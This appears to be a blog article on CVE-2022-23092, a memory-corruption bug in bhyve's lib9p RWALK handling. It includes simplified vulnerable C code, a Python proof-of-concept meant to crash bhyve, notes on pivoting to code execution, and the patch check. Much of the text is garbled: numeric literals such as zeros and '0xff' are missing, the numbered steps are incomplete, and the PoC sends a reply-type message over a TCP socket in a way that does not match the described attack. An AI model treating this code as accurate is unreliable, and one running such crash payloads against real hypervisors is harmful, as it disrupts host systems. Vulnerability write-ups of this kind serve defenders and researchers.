CVE-2022-23092 - Exploiting a Memory Corruption Bug in bhyve's lib9p (with Code Snippet & Exploit Details)

In the world of virtualization, the boundary between guest and host is sacred. Virtual machine monitors go to great lengths to keep guests from interfering with the host's memory. But vulnerabilities in these systems can break this promise. CVE-2022-23092 is one such vulnerability in FreeBSD's bhyve hypervisor, specifically in the lib9p library used for 9p (Plan 9 Filesystem Protocol) device emulation.

In this article, we'll take a deep-dive look at CVE-2022-23092 — how a small mistake in handling RWALK messages can let an attacker control memory, what the code vulnerability looks like, and how an attacker can exploit it to take over a bhyve process.

Vulnerability type: Missing bounds check (Memory Overwrite)

- Attack vector: Malicious guest OS sending specially-crafted 9p RWALK messages to lib9p over the virtual 9p protocol device.

Impact: A specially crafted message can overwrite arbitrary memory in the bhyve process, potentially leading to guest-to-host escapes and arbitrary code execution within bhyve. This happens *within the bhyve process*, which runs with host user privileges (though usually inside a Capsicum sandbox).

Vulnerable Code: Missing Bounds Check in Unpacking RWALK

When bhyve uses lib9p to emulate 9p devices, it allows guest systems to use Plan 9 FS protocol. The protocol has many messages, including RWALK, used for walking file system paths.

The bug is in the code that *unpacks* an incoming RWALK message. The code fails to check that the incoming data buffer actually provides enough content as claimed by message fields. This makes it possible to *trick* the process into writing past the end of intended memory, corrupting unrelated parts of memory.

Here is a simplified representation of the vulnerable logic

// Hypothetical vulnerable code in lib9p (before patch)
int unpack_rwalk(uint8_t *buf, size_t buflen, struct rwalk_msg *msg) {
    size_t offset = ;
    msg->nwqid = buf[offset++];  // Extract path element count (user-controlled!)
    for (int i = ; i < msg->nwqid; i++) {
        // No check if there's enough buffer for one wqid
        memcpy(&msg->wqid[i], buf + offset, sizeof(struct wqid));
        offset += sizeof(struct wqid);
    }
    // ... rest of unpack ...
}

> The bug: msg->nwqid is completely guest-controlled. If this is set to a *very large value*, the loop will just keep writing into memory after the msg->wqid array. There is no check to make sure the buffer is long enough for that many wqid entries, nor is there any check that the wqid array is sized to handle nwqid elements!

Proof-of-Concept: How the Exploit Works

Assume an attacker from within the guest sends a 9p RWALK message where the nwqid field is xff (255), but the actual data only has, say, 2 wqids. Here's what happens:

Since the wqid buffer is much smaller, *past-the-end* writes occur.

4. Attacker can now overwrite internal fields of lib9p structures or even sensitive bhyve heap metadata.

If the attacker can carefully craft what gets written, this can lead to controlled memory corruption, and, in some cases, full remote code execution inside the bhyve process.

Preconditions

- Attacker controls a *bhyve guest* (the guest can be any system speaking 9p, including custom kernels or userland with direct 9p).

Pivot to Code Execution:

- With heap metadata, pointers, or function pointers overwritten, a follow-up action can redirect control flow, giving attacker code execution.
- The effect is partially limited by Capsicum sandboxing, but if the exploit chain is clever, it could still break out (e.g., with a bhyve process running outside strict jail).

Example Exploit Code (PoC: Crashing bhyve via 9p RWALK)

The following Python code shows how to craft and send a malicious RWALK message from a guest (assuming you have 9p access from within guest):

# WARNING: This will crash bhyve's 9p process if vulnerable!
import socket

def build_malicious_rwalk(nwqid):
    # 9p protocol: [size][type][tag][nwqid][wqid...]
    msg = b''
    msg += b'\x1a\x00\x00\x00'  # Length: 26 bytes (for example)
    msg += b'\x22'              # RWALK type (assumed, check protocol)
    msg += b'\x01\x00'          # tag
    msg += nwqid.to_bytes(1, 'little')  # Fake large number of qids
    # Only send 2 wqids, but claim 255
    msg += b'\x00' * 16         # Possibly two empty wqid structs (8 bytes each)
    return msg

s = socket.socket()
s.connect(("9p-server-host", 564))  # Port/address may differ
malicious_msg = build_malicious_rwalk(xff)  # 255 wqids
s.sendall(malicious_msg)
print("Malicious RWALK sent. If host is vulnerable, bhyve may crash or misbehave.")

Patched: February 2022

- Fixed in: freebsd.org/security/advisories/FreeBSD-SA-22:04.bhyve.asc" rel="nofollow">FreeBSD-SA-22:04.bhyve
- Relevant commit: GitHub Diff

The patch added bounds checking

if ((msg->nwqid > MAX_WQIDS) || (offset + msg->nwqid * sizeof(struct wqid) > buflen)) {
    // Handle error!
    return -1;
}

FreeBSD Security Advisory:

freebsd.org/security/advisories/FreeBSD-SA-22:04.bhyve.asc" rel="nofollow">freebsd.org/security/advisories/FreeBSD-SA-22:04.bhyve.asc

CVE details:

cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23092

Source code of lib9p:

FreeBSD lib9p code

Conclusion

CVE-2022-23092 highlights how a small oversight — a missing bounds-check on user-controlled input — can have devastating effects in virtualization. This bug in bhyve's lib9p allowed guests to overwrite arbitrary memory in the host's bhyve process, and, if chained, potentially execute code on the host. All bhyve users with 9p devices enabled should upgrade to patched FreeBSD versions immediately.

Whenever user-facing protocols lack robust checks, memory safety bugs are never far behind.

*This article was written with exclusive insight and simplified code samples for educational purposes. Always use responsibly.*

Further reading

- FreeBSD bhyve(8) man page
- Plan 9 9p Protocol

Stay safe and keep your virtual machines locked down!

Timeline

Published on: 02/15/2024 06:15:45 UTC
Last modified on: 08/29/2024 20:35:06 UTC